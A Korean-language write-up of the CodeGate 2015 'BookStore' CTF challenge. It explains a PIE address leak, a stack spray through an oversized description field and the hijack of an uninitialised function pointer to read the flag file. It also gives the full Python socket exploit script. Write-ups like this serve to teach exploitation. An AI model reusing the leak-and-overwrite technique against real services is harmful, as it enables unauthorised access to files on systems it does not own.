[CodeGate2015] BookStore 풀이
보호기법이 모두 걸려있다.
구조체 모양은 이렇게 생겼다.
처음에 famous_saying.txt 파일을 읽어온다.
그다음 아이디와 패스워드를 검사한다.
이 함수 내부를 보면 파일을 읽어와서 printf로 출력해준다.
아이다를 뒤지다 보면 함수포인터를 2개 쓰고 있는걸 볼수있다.
이 함수 포인터를 파일을 읽는 함수로 덮고 쓰면 될거같다고 생각했다.
그런데 PIE환경이라 함수의 주소가 랜덤이다. 그래서 함수의 주소를 leak한다음 함수의 베이스주소를 구한다음
베이스주소 + file_read 함수의 오프셋 = file_read함수
이런식으로 구해줘야 된다.
view를 보면 shipping이 1일때 func2함수포인터가 인자로 bookname 쓰고 함수를 호출한다.
여기 modify_description에서 보면 실제 구조체에는 300바이트를 넣는데 입력은 3000바이트 가능하다.
여기를 통해 스택 file_read 함수주소를 뿌려준다.
edit_info부분을 보면
shipping가 0일때 함수포인터(func2)를 초기화를 해주지 않는다.
그리고 그밑에 보면 memcpy로 구조체를 복사해준다.
여기서 아까 스택에 뿌려준 file_read가 함수포인터 위치 있는 상태로 복사가 되어 함수포인터를 컨트롤 할수있다.
일단 베이스 주소를 구하기위해서 릭을 해야된다.
edit_info에서 모두 꽉 채운뒤 메인에서 show list하면,
func1를 릭 할수 있게 된다.
func1 - 해당함수오프셋 = base 주소
base 주소 + file_read 함수오프셋 = file_read 함수
이런식으로 file_read 함수를 만들면 된다.
그리고 func2(bookname) 이므로 bookname을 플래그 경로로 둔다음 shipping을 1로 변경해준다음 view_item을 해보면 플래그가 따진다.
from socket import *
from struct import *
from time import *
p = lambda x : pack("<L",x)
up = lambda x : unpack("<L",x)[0]
host = "10.211.55.4"
port = 8989
def read_until(s,read):
tmp = ''
while 1:
tmp = s.recv(4098)
if tmp.find(read) != -1:
return tmp
return ''
def login():
read_until(s,"ID")
s.send("helloadmin\n")
s.recv(1024)
s.send("iulover!@#$\n")
print read_until(s,"Exit")
def add_item():
print s.recv(1024)
sleep(0.1)
s.send("y0ubat\n")
sleep(0.1)
print s.recv(1024)
sleep(0.1)
s.send("y0ubat\n")
sleep(0.1)
print s.recv(1024)
sleep(0.1)
s.send("0\n")
sleep(0.1)
print read_until(s,"Exit")
def Modify_item_info(price,stock,shipping,avaliable,name,description):
s.send("3\n")
sleep(0.1)
print s.recv(1024)
s.send(price+"\n")
sleep(0.1)
print s.recv(1024)
s.send(stock+"\n")
sleep(0.1)
print s.recv(1024)
s.send(shipping+"\n")
sleep(0.1)
print s.recv(1024)
s.send(avaliable+"\n")
sleep(0.1)
print s.recv(1024)
s.send(name+"\n")
sleep(0.1)
print s.recv(1024)
s.send(description+"\n")
sleep(0.1)
print read_until(s,"menu")
def Modify_Description(file_read):
sleep(0.1)
s.send("2\n")
print s.recv(1024)
sp = p(file_read)*750
s.send(sp+'\n')
sleep(0.1)
print read_until(s,"menu")
def Modify_shipping():
sleep(1)
s.send("4\n")
sleep(0.1)
print s.recv(1024)
s.send("1\n")
print read_until(s,"menu")
def View():
s.send("3\n")
sleep(0.2)
print read_until(s,"No")
sleep(0.2)
s.send("0\n")
sleep(0.1)
print s.recv(1024)
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
login()
s.send("1\n")
add_item()
s.send("2\n")
print s.recv(1024)
s.send("0\n")
sleep(0.1)
Modify_item_info("2147483647","2147483647","0","0","a"*20,"b"*300)
s.send("0\n")
sleep(0.1)
print read_until(s,">")
s.send("4\n")
sleep(0.1)
func1 = s.recv(1024)[143:147]
file_read = up(func1) - 0x9ad + 0x8db
print "[+] func1 address leak : "+ hex(up(func1))
print "[+] file read function leak : " + hex(file_read)
s.send("2\n")
sleep(0.1)
print s.recv(1024)
s.send("0\n")
sleep(0.2)
Modify_Description(file_read)
sleep(0.2)
Modify_item_info("1234","1234","0","0","/home/book/flag\x00","testa")
Modify_shipping()
s.send("0\n")
print read_until(s,">")
sleep(0.1)
View()
제 소스코드는 매우 더러우니 주의하세요..
으아 너무 뒤죽박죽 썻네요
간단 요약
1. add_item으로 하나 추가 // 이때 shipping을 0으로 두어야됨 함수포인터(func2)를 초기화 안시킴
2. edit_info함수에서 꽉꽉 채우고 show list하면 func1의 주소를 릭가능. func1-해당함수오프셋+file_read함수오프셋 = file_read
3. edit_description에서 스택에 file_read를 뿌려줌 -> fucn2 함수포인터 컨트롤 가능
4. edit_info에서 책이름을 읽고싶은 파일경로 적음
5. func2(bookname)을 실행시키기 위해 shipping을 1로 변경해줌.
6. view를 실행하면 func2(bookname)이 실행됨 -> file_read("/home/book/flag\x00")
7. 플래그 출력됨.